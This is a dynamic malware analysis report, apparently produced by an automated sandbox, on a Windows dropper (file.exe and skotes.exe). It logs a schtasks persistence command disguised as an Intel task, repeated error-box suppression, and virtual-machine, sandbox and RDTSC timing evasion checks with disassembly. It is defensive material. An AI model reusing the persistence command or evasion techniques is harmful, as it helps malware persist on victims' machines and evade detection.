Source: C:\Users\user\AppData\Local\Temp\main\in.exe

Process created: C:\Windows\System32\schtasks.exe schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016870001\7c1324dac5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016871001\1459165c97.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX

Malware Analysis System Evasion

Checks if the current machine is a virtual machine (disk enumeration)

Source: C:\Windows\SysWOW64\svchost.exe

Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess			graph_2-9836
Source: C:\Users\user\Desktop\file.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess			graph_0-11853

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\AppData\Local\Temp\1016871001\1459165c97.exe	API/Special instruction interceptor: Address: 7FFDB442D044
Source: C:\Windows\SysWOW64\svchost.exe	API/Special instruction interceptor: Address: 7FFDB442D044

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016871001\1459165c97.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1016871001\1459165c97.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: skotes.exe, 00000006.00000002.3384635500.0000000001113000.00000004.00000020.00020000.00000000.sdmp, 1459165c97.exe, 0000002A.00000002.3344552991.0000000000FFC000.00000004.00000001.01000000.00000010.sdmp, 1459165c97.exe, 0000002A.00000002.3347940274.0000000005750000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: ORIGINALFILENAMECFF EXPLORER.EXE:
Source: skotes.exe, 00000006.00000002.3384635500.0000000001113000.00000004.00000020.00020000.00000000.sdmp, 1459165c97.exe, 0000002A.00000002.3344552991.0000000000FFC000.00000004.00000001.01000000.00000010.sdmp, 1459165c97.exe, 0000002A.00000002.3347940274.0000000005750000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: INTERNALNAMECFF EXPLORER.EXE

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119182B second address: 1191857 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FD908C4C6EEh 0x00000008 jmp 00007FD908C4C6EBh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push edi 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FD908C4C6ECh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1191857 second address: 119185D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1191F6C second address: 1191F8A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007FD908C4C6F3h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1191F8A second address: 1191F9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FD9092ECB26h 0x0000000a popad 0x0000000b pop edi 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1194ECD second address: 1194F24 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xor dword ptr [esp], 2A9E6FA2h 0x0000000e push esi 0x0000000f mov edx, dword ptr [ebp+122D2D79h] 0x00000015 pop edi 0x00000016 push 00000003h 0x00000018 push 00000000h 0x0000001a push ecx 0x0000001b call 00007FD908C4C6E8h 0x00000020 pop ecx 0x00000021 mov dword ptr [esp+04h], ecx 0x00000025 add dword ptr [esp+04h], 0000001Dh 0x0000002d inc ecx 0x0000002e push ecx 0x0000002f ret 0x00000030 pop ecx 0x00000031 ret 0x00000032 push 00000000h 0x00000034 mov dh, B6h 0x00000036 push 00000003h 0x00000038 mov edi, dword ptr [ebp+122D3019h] 0x0000003e call 00007FD908C4C6E9h 0x00000043 push eax 0x00000044 push edx 0x00000045 push edi 0x00000046 push eax 0x00000047 push edx 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1194F24 second address: 1194F29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1194F29 second address: 1194F4C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jnp 00007FD908C4C6E6h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FD908C4C6F3h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1194F4C second address: 1194F86 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 pushad 0x00000008 popad 0x00000009 pop esi 0x0000000a popad 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f push esi 0x00000010 jl 00007FD9092ECB28h 0x00000016 push ecx 0x00000017 pop ecx 0x00000018 pop esi 0x00000019 mov eax, dword ptr [eax] 0x0000001b pushad 0x0000001c ja 00007FD9092ECB2Ch 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007FD9092ECB30h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1194F86 second address: 1194F99 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1194F99 second address: 1194FC6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD9092ECB2Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a sub dword ptr [ebp+122D25FCh], ebx 0x00000010 lea ebx, dword ptr [ebp+12449D1Eh] 0x00000016 mov dword ptr [ebp+122D2CB0h], edi 0x0000001c xchg eax, ebx 0x0000001d jg 00007FD9092ECB34h 0x00000023 pushad 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11951CE second address: 11951DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD908C4C6EDh 0x00000009 rdtsc
